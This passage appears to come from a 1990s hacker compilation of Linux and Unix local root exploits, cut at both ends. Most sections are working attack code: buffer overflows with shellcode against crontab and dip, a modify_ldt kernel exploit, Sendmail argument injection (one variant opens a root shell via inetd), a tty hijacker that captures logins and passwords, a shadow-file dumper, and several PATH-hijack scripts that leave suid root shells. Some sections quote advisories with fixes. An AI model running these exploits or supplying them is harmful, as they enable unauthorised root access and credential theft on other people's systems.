         /* fill start of buffer with nops */
         memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
         ptr += BUFFER_SIZE-strlen(execshell);
         /* stick asm code into the buffer */
         for(i=0;i < strlen(execshell);i++) 
            *(ptr++) = execshell[i];
         
         addr_ptr = (long *)ptr;
         for(i=0;i < (878/4);i++)
            *(addr_ptr++) = get_esp() + ofs;
         ptr = (char *)addr_ptr;
         *ptr++ = '=';
         *ptr++ = 'X';
         *ptr++ = '\n';
         *ptr = 0;
         printf("Writing to %s\n", HAPPY_FILE);
       
      /*
       * The sleep is required because as soon as crontab opens the tmp file it
       * stat's and saves it.  After the EDITOR program exists it stats again
       * and if they are equal then it assumes changes weren't made and exits.
       */
         fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
         write (fd, buff, strlen(buff));
       
         close(fd);
       
         execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
         /* Successful completion */
         exit(0);
      }
      ----------- cut here
      
      ..........................................................................
      .                                                                        .
      .  2. Root dip exploit                                                   .
      .                                                                        .
      ..........................................................................
      
      in /sbin you will find a symbolic link called dip to a suid root binary.
      Chances are, if this file is suid, it's sploitable.
      
      -------- cut here
      
      #include <unistd.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <fcntl.h>
      #include <sys/stat.h>
      #define PATH_DIP "/sbin/dip"
      u_char shell[] = 
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
      u_long esp() { __asm__("movl %esp, %eax"); }
      main()
      {
        u_char buf[1024];
        u_long addr;
        int i, f;
      
        strcpy(buf, "chatkey ");
        addr = esp() - 192;
        for (i=8; i<128+16; i+=4)
          *((u_long *) (buf+i)) = addr;
        for (i=128+16; i<512; i++)
          buf[i] = 0x90;
        for (i=0; i<strlen(shell); i++)
          buf[512+i] = shell[i];
        buf[512+i] = '\n';
      
        if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
          perror("temp.dip");
          exit(0);
        }
        write(f, buf, 512+i);
        close(f);
      
        execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
      }
      
      ---------- cut here
      
      ..........................................................................
      .                                                                        .
      . 3. ldt - text by quantumg                                              .
      .                                                                        .
      ..........................................................................
      
      this one is a little old but I'm rather proud of it so I thought I'd give
      it a praise.  in writing the linux kernel the guys who wrote a certain
      section fucked up.  they let you stretch and modify the area of memory
      you can access.  at first the sploit required a System.map to be in the
      root dir.  so the simple solution to the bug was to delete all System.map
      files off the system and remove all the uncompressed kernels (cause you
      can generate a System.map by doing an nm on uncompressed kernels), this
      is now rather stupid cause there are patches for all kernel versions with
      the bug and I have written a version of this sploit that doesn't need a
      System.map.
      
      ---------- cut here
      /* this is a hack of a hack.  a valid System.map was needed to get this
         sploit to werk.. but not any longer.. This sploit will give you root
         if the modify_ldt bug werks.. which I beleive it does in any kernel 
         before 1.3.20 ..
         
         QuantumG
      */
      
      /* original code written by Morten Welinder.
       *
       * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
       * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
       * 2. the _task in the System.map file has no leading underscore.
       * I am not sure at what point these were changed, if you are
       * using this on a newer kernel compile with NEWERKERNEL defined.
       *                                          -ReD
       */
      
      #include <linux/ldt.h>
      #include <stdio.h>
      #include <linux/unistd.h>
      #include <signal.h>
      #ifdef NEWERKERNEL
      #include <asm/sigcontext.h>
      #endif
      #define __KERNEL__
      #include <linux/sched.h>
      #include <linux/module.h>
      
      static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
      static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
      
      
      #define KERNEL_BASE 0xc0000000
      /* ------------------------------------------------------------------------ */
      static __inline__ unsigned char
      __farpeek (int seg, unsigned ofs)
      {
        unsigned char res;
        asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
             : "=a" (res)
             : "r" (seg), "r" (ofs));
        return res;
      }
      /* ------------------------------------------------------------------------ */
      static __inline__ void
      __farpoke (int seg, unsigned ofs, unsigned char b)
      {
        asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
             : /* No results.  */
             : "r" (seg), "r" (ofs), "r" (b));
      }
      /* ------------------------------------------------------------------------ */
      void
      memgetseg (void *dst, int seg, const void *src, int size)
      {
        while (size-- > 0)
          *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
      }
      /* ------------------------------------------------------------------------ */
      void
      memputseg (int seg, void *dst, const void *src, int size)
      {
        while (size-- > 0)
          __farpoke (seg, (unsigned)(dst++), *(char *)src++);
      }
      /* ------------------------------------------------------------------------ */
      int
      main ()
      {
        int stat, i,j,k;
        struct modify_ldt_ldt_s ldt_entry;
        FILE *syms;
        char line[100];
        struct task_struct **task, *taskptr, thistask;
        struct kernel_sym blah[4096];
      
        printf ("Bogusity checker for modify_ldt system call.\n");
      
        printf ("Testing for page-size limit bug...\n");
        ldt_entry.entry_number = 0;
        ldt_entry.base_addr = 0xbfffffff;
        ldt_entry.limit = 0;
        ldt_entry.seg_32bit = 1;
        ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
        ldt_entry.read_exec_only = 0;
        ldt_entry.limit_in_pages = 1;
        ldt_entry.seg_not_present = 0;
        stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
        if (stat)
          /* Continue after reporting error.  */
          printf ("This bug has been fixed in your kernel.\n");
        else
          {
            printf ("Shit happens: ");
            printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
          }
      
        printf ("Testing for expand-down limit bug...\n");
        ldt_entry.base_addr = 0x00000000;
        ldt_entry.limit = 1;
        ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
        ldt_entry.limit_in_pages = 0;
        stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
        if (stat)
          {
            printf ("This bug has been fixed in your kernel.\n");
            return 1;
          }
        else
          {
            printf ("Shit happens: ");
            printf ("0x00000000 - 0xfffffffd is accessible.\n");
          }
      
        i = get_kernel_syms(blah);
        k = i+10;
        for (j=0; j<i; j++) 
         if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
        if (k==i+10) { printf("current not found!!!\n"); return(1); }
        j=k;
      
        taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
        memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
        taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
        memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
        if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
        printf("Current process is %i\n",thistask.pid);
        taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
        memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
        if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
        printf("Parent process is %i\n",thistask.pid);
        thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
        thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
        memputseg (7, taskptr, &thistask, sizeof (thistask));
        printf ("Shit happens: parent process is now root process.\n");
        return 0;
      };
      
      ----------- cut here
      
      ..........................................................................
      .                                                                        .
      . 4. suid perl  - text by quantumg                                       .
      ..........................................................................
      
      In the /usr/bin dir (usually) you will find a suid root binary called
      suidperl.  If this file is suid root it is most probably sploitable.
      
      You need to set this file suid
      (chmod 4700 will do it) and execute it to get root.
      
      ---------- cut here
      
      #!/usr/bin/suidperl
      $> = 0;                                     #set effective user id
      $ENV{'PATH'} = '/bin:/usr/bin';             #secure the session
      $ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
      $execpath = "/bin/sh";                      #sameol sameol
      $execpath =~ /(.*)/;                        #untaint the variable
      $boom = $1;                                 #$boom untainted
      system $boom;                               #run EUID=0 shell
      
      ----------------cut here
      
      ..........................................................................
      .                                                                        .
      . 5. Abuse Sendmail 8.6.9                                                .
      .                                                                        .
      ..........................................................................
      
      -----------cut here
      /* smh.c - atreus - Michael R. Widner (2/27/95)
       * <widner@uchicago.edu> <atreus@primus.com>
       * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
       * hole.  It's really just a matter of passing newlines in arguments to
       * sendmail and getting the stuff into the queue files.  If we run this
       * locally with -odq we are guaranteed that it will be queue, rather than
       * processed immediately.
       * usage: smh [ username [/path/to/sendmail]]
       * It's worth noting that this is generally only good for getting bin.
      
       * sendmail still wants to process the sendmail.cf file, which contains
       * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
       * a way around this?
       * cc -o smh smh.c should do the trick.  This just creates a bin owned
       * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
       * systems this is pretty much worthless, but you're smart enough to know
       * which systems those are.  Aren't you?
      bash$ ./smh root /usr/lib/sendmail
      bash$ /usr/lib/sendmail -q
      */
      #include <sys/types.h>
      #include <unistd.h>   
      #include <stdlib.h>   
      
      /* Take Your Pick */
      #define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
      #define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh  >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rascii "
      
      main(argc, argv)
      int argc;
      char **argv;
      {                          
            execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
            argv[1] ? argv[1] : "atreus",0);
      }
      
      ----------- cut here
      ..........................................................................
      .                                                                        .
      . 6. ttysurf - grab someone's tty                                         .
      ..........................................................................
      
      ------------cut here
      #include <stdio.h>
      #include <signal.h>
      #include <fcntl.h>
      #include <errno.h>
      #include <sys/types.h>
      #include <sys/termios.h>
      
      #define DEBUG 1         /* Enable additional debugging info (needed!) */
      #define USLEEP          /* Define this if your UNIX supports usleep() */
      
      #ifdef ULTRIX
      #define TCGETS TCGETP   /* Get termios structure */
      #define TCSETS TCSANOW  /* Set termios structure */
      #endif
      
      
      handler(signal)
      
                 int signal;             /* signalnumber */
      {                       /* do nothing, ignore the signal */
              if(DEBUG) printf("Ignoring signal %d\n",signal);
      }
      
      int readandpush(f,string)
      FILE *f;
      char *string;
      {
              char *cp,*result;
              int e;
              struct termios termios;
      
              result=fgets(string,20,f);    /* Read a line into string */
              if (result==NULL)
              {       perror("fgets()");
                      return(1);
              }
              if (DEBUG)
              {       printf("String: %s\n",string);
                      fflush(stdout);
              }
      
              ioctl(0,TCGETS,&termios);       /* These 3 lines turn off input echo */
       /*        echo = (termios.c_lflag & ECHO);      */
              termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
              ioctl(0,TCSETS,&termios);
      
              for (cp=string;*cp;cp++)        /* Push it back as input */
              {       e=ioctl(0,TIOCSTI,cp);
                      if(e<0)
                      {       perror("ioctl()");
                              return(1);
                      }
              }
              return(0);
      }
      
      main(argc,argv)
      int argc;
      char *argv[];
      {
              /* variables */
              int err;
              FILE *f;
              char *term      = "12345678901234567890";
              char *login     = "12345678901234567890";
              char *password  = "12345678901234567890";
              if (argc < 2)
              {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
                      printf("Enter ttyname: ");
                      gets(term);
              }
              else term=argv[argc-1];
      
              signal(SIGQUIT,handler);
              signal(SIGINT,handler);
              signal(SIGTERM,handler);
              signal(SIGHUP,handler);
              signal(SIGTTOU,handler);
      
              close(0);               /* close stdin */
      #ifdef ULTRIX
              if(setpgrp(0,100)==-1)
                      perror("setpgrp:");     /* Hopefully this works */
      #else
              if(setsid()==-1)
                      perror("setsid:"); /* Disconnect from our controlling TTY and
                                         start a new session as sessionleader */
      #endif
              f=fopen(term,"r");      /* Open tty as a stream, this guarantees
                                                 getting file descriptor 0 */
              if (f==NULL)
              {       printf("Error opening %s with fopen()\n",term);
                      exit(2);
              }
              if (DEBUG) system("ps -xu>>/dev/null &");
              fclose(f);              /* Close the TTY again */
              f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
              if (f==NULL)
              {       printf("Error opening /dev/tty with fopen()\n",term);
                      exit(2);
              }
      
              if(readandpush(f,login)==0)
              {
      #ifdef USLEEP
                      usleep(20000);  /* This gives login(1) a chance to read the
                                         string, or the second call would read the
                                         input that the first call pushed back ! /*
      #else
                      for(i=0;i<1000;i++)
                              err=err+(i*i)
                                 /* error        /* Alternatives not yet implemented */
      #endif
                      readandpush(f,password);
                      printf("Result: First: %s Second: %s\n",login,password);
              }
      
              fflush(stdout);
              sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
                                 to login(1), which would kill the user. Instead,
                                 wait a while. We then send SIGHUP to the shell of
                                 the user, which will ignore it. */
              fclose(f);
      }
      --------------cut here
      
      ..........................................................................
      .                                                                        .
      . 7. shadow.c  - Get shadow passwd files                                 .
      .                                                                        .
      ..........................................................................
      
      ----------- cut here
      
       /*  This source will/should print out SHADOWPW passwd files.   */
       
       struct  SHADOWPW {                              /* see getpwent(3) */
                char *pw_name;
                char *pw_passwd;
                int  pw_uid;
                int  pw_gid;
                int  pw_quota;
                char *pw_comment;
                char *pw_gecos;
                char *pw_dir;
                char *pw_shell;
       };
       struct passwd *getpwent(), *getpwuid(), *getpwnam();
       
       #ifdef   elxsis?
       
       /* Name of the shadow password file. Contains password and aging info */
       
       #define  SHADOWPW "/etc/shadowpw"
       #define  SHADOWPW_PAG "/etc/shadowpw.pag"
       #define  SHADOWPW_DIR "/etc/shadowpw.dir"
       /*
        *  Shadow password file pwd->pw_gecos field contains:
        *
        *  <type>,<period>,<last_time>,<old_time>,<old_password>
        *
        *  <type>      = Type of password criteria to enforce (type int).
        *             BSD_CRIT (0), normal BSD.
        *             STR_CRIT (1), strong passwords.
        *  <period>  = Password aging period (type long).
        *             0, no aging.
        *             else, number of seconds in aging period.
        *  <last_time>         = Time (seconds from epoch) of the last password
        *             change (type long).
        *             0, never changed.n
        *  <old_time>  = Time (seconds from epoch) that the current password
        *             was made the <old_password> (type long).
        *             0, never changed.ewromsinm
        *  <old_password> = Password (encrypted) saved for an aging <period> to
        *             prevent reuse during that period (type char [20]).
        *             "*******", no <old_password>.
        */
       
       /* number of tries to change an aged password */
       
       #define  CHANGE_TRIES 3
       
       /* program to execute to change passwords */
       
       #define  PASSWD_PROG "/bin/passwd"
       
       /* Name of the password aging exempt user names and max number of entires */
       
       #define  EXEMPTPW "/etc/exemptpw"
       #define MAX_EXEMPT 100
       
       /* Password criteria to enforce */
       
       #define BSD_CRIT 0     /* Normal BSD password criteria */
       #define STR_CRIT 1      /* Strong password criteria */
       #define MAX_CRIT 1
       #endif   elxsi
       #define NULL 0
       main()
       {
              struct passwd *p;
              int i;
              for (;1;) {;
                p=getpwent();
                if (p==NULL) return;
                printpw(p);
              }
       }
       
       printpw(a)
       struct SHADOWPW *a;
       {
              printf("%s:%s:%d:%d:%s:%s:%s\n",
                 a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
                 a->pw_gecos,a->pw_dir,a->pw_shell);
       }
       
       /* SunOS 5.0           /etc/shadow */
       /* SunOS4.1+c2     /etc/security/passwd.adjunct */
       
      ------------ cut here
      
      ..........................................................................
      .                                                                        .
      . 8. Abuse Root Exploit (linux game program)                             .
      .                                                                        .
      ..........................................................................
      
      ---------- cut here
      
      There is a security hole in RedHat 2.1, which installs the game abuse,
      /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
      loads its files without absolute path names, assuming the user is running
      abuse from the /usr/lib/games/abuse directory.  One of these files in the
      undrv program, which abuse executes as root.  If the user is not in the
      abuse directory when running this, an arbitrary program can be substituted
      for undrv, allowing the user to execute arbitrary commands as root. 
         If abuse.console needs to be run by users other than root at the console,
      provisions need to be made in the code to not execute or load any files
      as root.
      
                         Program: /usr/lib/games/abuse/abuse.console suid root
      Affected Operating Systems: Red Hat 2.1 linux distribution
                    Requirements: account on system
                           Patch: chmod -s /usr/lib/games/abuse/abuse.console
             Security Compromise: root
                          Author: Dave M. (davem@cmu.edu)
                        Synopsis: abuse.console runs undrv without an absolute
                                  pathname while executing as root, allowing
                                  a user to substitute the real undrv with 
                                  an arbitrary program.
      
      Exploit:
      #!/bin/sh
      #
      # abuser.sh
      # exploits a security hole in abuse to create
      # a suid root shell /tmp/abuser on a linux
      # Red Hat 2.1 system with the games package 
      # installed.
      #
      # For release 2/2/96 - 1 drink credit please.
      #
      # by Dave M. (davem@cmu.edu)
      #
      echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
      echo ================ Checking system vulnerability
      if test -u /usr/lib/games/abuse/abuse.console
      then
      echo ++++++++++++++++ System appears vulnerable.
      cd /tmp
      cat << _EOF_ > /tmp/undrv
      #!/bin/sh
      /bin/cp /bin/sh /tmp/abuser
      /bin/chmod 4777 /tmp/abuser
      _EOF_
      cat << _EOF_ >> /tmp/the_wall
      so ya thought ya might like to go to the show
      to feel the warm thrill of confusion that space cadet glow
      tell me is something eluding you sunshine?
      is this not what you expected to see?
      if you wanna find out what's behind these cold eyes
      you'll just have to claw your way through this disguise
      _EOF_
      chmod +x /tmp/undrv
      PATH=/tmp
      echo ================ Executing Abuse
      /usr/lib/games/abuse/abuse.console
      /bin/rm /tmp/undrv
      /bin/rm /tmp/the_wall
      if test -u /tmp/abuser
      then
      echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
      else
      echo ---------------- Exploit failed
      fi
      else
      echo ---------------- This machine does not appear to be vulnerable.
      fi
      ----------- cut here
      
      ..........................................................................
      .                                                                        .
      . 9. Doom (game) root exploit - makes suid root shell                    .
      .                                                                        .
      ..........................................................................
      
      
      ----------- Start reading
      From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996
      Date: Tue, 17 Dec 1996 10:18:24 +0100
      From: Bo <bo@ebony.iaehv.nl>
      To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
      Subject: Re: Linux: killmouse/doom
      
      > From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
      > Subject:      Re: Linux: exploit for killmouse.
      >
      > Which reminds me, there's a bigger hole in Doom.  It doesn't drop its
      > root permissions soon enough!  The user is allowed to set a sound server
      > in his/her .doomrc.  Normally, this is set to "sndserver".  Howver, this
      > can be set to *any* program, and that program runs as root!!
      
      Yes,  very true. And just in case anybody collects these scripts, here's
      the obvious one:
      
      ------------ CUT HERE --------------
      #!/bin/sh
      # Tue Dec 17 10:02:20 MET 1996 Bo
      echo 'sndserver "/tmp/sndserver"' > .doomrc
      cat > /tmp/sndserver.c << EOF
      #include <stdio.h>
      #include <unistd.h>
      main() {
              if (fork()) while (getc(stdin));
              else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
                      /* or whatever you like to do */
      }
      EOF
      gcc /tmp/sndserver.c -o /tmp/sndserver
      
      ------------ CUT HERE --------------
      
      The  fork()  is  just so that doom runs on nicely without locking up the
      keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
      the script, start sdoom, quit the normal way, and execute /tmp/sh.
      
      Thanks for pointing it out, Joe.
      
      Regards,
                      Bo.
      
      --
                      "Heisenberg may have been here".
      
      --------------- end of read
      
      ..........................................................................
      .                                                                        .
      . 10. dosmenu suid root exploit                                          .
      .                                                                        .
      ..........................................................................
      
      
      --------- read
      
      In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
      setuid root.  This is a serious security hole which can be exploited
      to gain access to any file on the system.
      
      Package: dosemu
      Version: 0.64.0.2-9
      
      ------- start of cut text --------------
      
      $ cat /etc/debian_version 
      1.1
      $ id
      uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
      [quinlan:~]$ ls -al /usr/bin/dos
      -rwsr-xr-x   1 root     root       569576 Oct 24 00:05 /usr/bin/dos
      $ ls -al /root/foo
      -rw-------   1 root     root         1117 Nov 13 23:10 /root/foo
      $ dos -F /root/foo
      [ Prints /root/foo, which is not readable by user `quinlan'. ]
      
      ------- Cut here
      
      I expect there may be other holes in dosemu other than this one that
      can be exploited if it is installed setuid root.  It took about 60
      seconds to find this hole once I realized /usr/bin/dos was setuid
      root.
      
      Dan
      
      Note: This security hole can be corrected by removing the suid bit from
      /usr/bin/dos:
      ----------------------------
      $ chmod u-s /usr/bin/dos
      ----------------------------
      
      Jonathan
      
      ----------- end of read
      
      ..........................................................................
      .                                                                        .
      . 11. Doom root killmouse exploit                                        .
      .                                                                        .
      ..........................................................................
      
      System:
      Probably  Linux  specific.  Slackware  3.0 (installs Linux 1.2.13) which
      have  gpm  utility  and/or  the  Doom  package installed are vulnerable.
      Other distributions might be too.
      
      Impact:
      Local users can acquire root status.
      
      Background:
      The  problem  is  the  killmouse/startmouse command that is part of Doom
      package  on  Linux  systems.  It  is  actually a C-wrapper that runs two
      scripts  (killmouse.sh/startmouse.sh). It runs suid root.
      
      Problem:
      I would try to describe the problem but I can't stop laughing.
      
      Exploit:
      This  can  be  exploited  in  a few similar ways. Here's just one. Let's
      assume  the  gpm  utility is not running. We can't start it up ourselves
      as gpm is only to be run by root. So we'll use startmouse to fire it up:
      
      $ touch /tmp/gpmkilled
      $ /usr/games/doom/startmouse
      
      ps -aux | grep gpm
      bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
      root      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms
      
      Fine,  it's  running.  Now  we'll use killmouse to kill the process, but
      first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
      
      $ umask 0
      $ ln -s /root/.rhosts /tmp/gpmkilled
      $ /usr/games/doom/killmouse
       1407  ?  S     0:00 gpm t ms
      
      $ ls -l /root/.rhosts
      -rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts
      
      $ echo localhost bo > /root/.rhosts
      $ rsh -l root localhost sh -i
      bash#
      
      Bingo.  On  some  systems gpm might not be started in /etc/rc.d/rc.local
      so  the  startmouse  script will fail. But gpm might be running already.
      If  neither of these conditions are met, note that startmouse.sh creates
      /tmp/gpmscript  and runs it in a shell. There's a window of time between
      creating  the  script and executing it, so we have a nice race condition
      here; it can be replaced with anything you like prior to execution.
      
      Solution:
      Remove  setuid  bits  of  killmouse/startmouse.  Better yet - nuke them.
      While your at it, nuke Doom too - it's a stupid game anyway :-)
      
      Best regards,
                      Bo (bo@ebony.iaehv.nl)
      
      
      killmouse exploit
      ------------------ cut here
      
      /usr/games/doom/startmouse.sh:
      #!/bin/sh
      if [ -r /tmp/gpmkilled ]; then
        /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
        /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
      fi
      
      /usr/games/doom/killmouse.sh:
      #!/bin/sh
      if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
        GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
      fi
      
      ----------- cut here
      
      ..........................................................................
      .                                                                        .
      . 12. Root exploit for resize icons                                      .
      .                                                                        .
      ..........................................................................
      
      There is a security hole in RedHat 2.1, which installs the program
      /usr/bin/resizecons suid root.  The resizecons program allows a user
      to change the videmode of the console.  During this process, it runs
      the program restoretextmode without an absolute pathname, assuming the
      correct version will be found in the path, while running with root
      privileges.  It then executes setfont in the same manner.  By setting
      the path to find a rogue restoretextmode, a user can execute an arbitrary
      program as root.
      
      As a more amusing aside, the file /tmp/selection.pid is read and the
      pid contained within is sent a SIGWINCH, allowing a user on the system
      to force a redraw of the screen to an arbitrary process (that handles 
      SIGWINCH calls) on the machine. 
      
      If /usr/bin/resizecons needs to be run by users other than root at the
      console, provisions need to be made in the code to execute the outside
      utilities with absolute pathnames, and to check access rights on files
      before opening.
      
                         Program: /usr/bin/resizecons
      Affected Operating Systems: Red Hat 2.1 linux distribution
                    Requirements: account on system
                 Temporary Patch: chmod -s /usr/bin/resizecons
             Security Compromise: root
                          Author: Dave M. (davem@cmu.edu)
                        Synopsis: resizecons runs restoretextmode without an
                                  absolute pathname while executing as root,
                                  allowing a user to substitute the real
                                  program with arbitrary commands.
      
      
      ----------cut here
      wozzeck.sh:
      #!/bin/sh
      #
      # wozzeck.sh
      # exploits a security hole in /usr/bin/resizecons 
      # to create a suid root shell in /tmp/wozz on a 
      # linux Red Hat 2.1 system.
      #
      # by Dave M. (davem@cmu.edu)
      # 
      echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
      echo ================ Checking system vulnerability
      if test -u /usr/bin/resizecons
      then
      echo ++++++++++++++++ System appears vulnerable.
      cd /tmp
      cat << _EOF_ > /tmp/313x37
      This exploit is dedicated to 
      Wozz.  Use it with care.
      _EOF_
      cat << _EOF_ > /tmp/restoretextmode
      #!/bin/sh
      /bin/cp /bin/sh /tmp/wozz
      /bin/chmod 4777 /tmp/wozz
      _EOF_
      /bin/chmod +x /tmp/restoretextmode
      PATH=/tmp
      echo ================ Executing resizecons
      /usr/bin/resizecons 313x37
      /bin/rm /tmp/restoretextmode
      /bin/rm /tmp/313x37
      if test -u /tmp/wozz
      then
      echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
      else
      echo ---------------- Exploit failed
      fi
      else
      echo ---------------- This machine does not appear to be vulnerable.
      fi
      
      -------------- cut here
      
      ..........................................................................
      .                                                                        .
      . 13. Root console exploit for restorefont                               .
      .                                                                        .
      ..........................................................................
      
      Linux 'restorefont' Security Holes
      by FEH Staff
      
      Linux's svgalib utilities, required to be suid root, have a problem in that
      they do not revoke suid permissions before reading a file.  This is exploited
      in the restorefont utility, but similar bugs exist in other svgalib utilities.
      The restorefont utility serves two functions.  First, it will read a font from
      a file and write it to the console as the font.  Second, it will read a font
      from the console and write it out to a file.  Luckily, the specific bug
      in restorefont can only be exploited if someone is at the console, reducing
      its overall impact on the security of the system as a whole.
      
      In writing the utilities, the authors are cognizant of the fact that when
      writing out the font, suid permissions must first be given up; it is in fact
      commented as such in the code.  However, when reading in a font, the program
      is still running with full suid root permissions.  This allows us to read in
      any file for the font that root could access (basically, anything).
      
      The applicable code to read in the file is shown below:
      
      #define FONT_SIZE 8192
      unsigned char font[FONT_SIZE];
      
              if (argv[1][1] == 'r') {
                      FILE *f;
                      f = fopen(argv[2], "rb");
                      if (f == NULL) {
                              error:
                              perror("restorefont");
                              exit(1);
                      }
                      if(1!=fread(font, FONT_SIZE, 1, f))
                              {
                              if(errno)
                                      goto error;
                              puts("restorefont: input file corrupted.");
                              exit(1);
                              }
                      fclose(f);
      
      We can see from this that the file to be read in has to be at least 8k,
      as if it is not, the program will produce an error and exit.  If the file
      is at least 8k, the first 8k are read into the buffer, and the program 
      proceeds to set whatever the contents of the file are to the font:
              vga_disabledriverreport();
              vga_setchipset(VGA);            /* avoid SVGA detection */
              vga_init();
              vga_setmode(G640x350x16);
              vga_puttextfont(font);
              vga_setmode(TEXT);
      
      At this point, the console will now look quite unreadable if you are
      reading something other than a font from that file.  But, the data that
      is put into the font is left untouched and is readable using the -w option
      of restorefont.  We then read the font back from video memory to a new file,
      and our job is complete, we have read the first 8k of a file we shouldn't
      have had access to.  To prevent detection of having run this, we probably
      shouldn't leave an unreadable font on the screen, so we save and then restore
      the original font before reading from the file.
      The complete exploit is shown below:
      
                         Program: restorefont, a svgalib utility
      Affected Operating Systems: linux
                    Requirements: logged in at console
             Security Compromise: user can read first 8k of any file of at least
                                  8k in size on local filesystems
                        Synopsis: restorefont reads a font file while suid root,
                                  writing it to video memory as the current vga
                                  font; anyone at console can read the current
                                  font to a file, allowing you to use video memory
                                  as an 8k file buffer.
      
      -------------
      rfbug.sh:
      --------------------cut here
      #!/bin/sh
      restorefont -w /tmp/deffont.tmp
      restorefont -r $1
      restorefont -w $2
      restorefont -r /tmp/deffont.tmp
      rm -f /tmp/deffont.tmp
      -----------------------------------cut here
      
      ..........................................................................
      .                                                                        .
      . 14. Root rxvt X server exploit                                         .
      .                                                                        .
      ..........................................................................
      
      Program: rxvt
      Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
                                  rxvt suid root (and compiled with PRINT_PIPE)
                    Requirements: account on system, X server
                 Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
             Security Compromise: root
                          Author: Dave M. (davem@cmu.edu)
                        Synopsis: rxvt fails to give up root privileges before
                                  opening a pipe to a program that can be specified
                                  by the user.
      
      
      Exploit:
      1.  Set DISPLAY environment variable if necessary so you can use x clients.
      2.  In user shell:
          $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
          $ chmod +x /tmp/rxbug
          $ rxvt -print-pipe /tmp/rxbug
      3.  In rxvt xclient:
          $ cat
            ESC[5i
            ESC[4i
          (The client will close at this point with a broken pipe)
      4.  $ /tmp/rxsh
          # whoami
          root
          #
      
      ..........................................................................
      .                                                                        .
      .15. Root wuftpd exploit                                                 .
      ..........................................................................
      
      The following is gleaned from the BugTraq mailing list:
      -------------------------------------------------------
      Since Bugtraq is exceptionally quiet lately, I though I should make it
      come alive again with this discussion of the bug that was reported in
      the wu.ftpd that comes with some Slackware distributions of Linux.
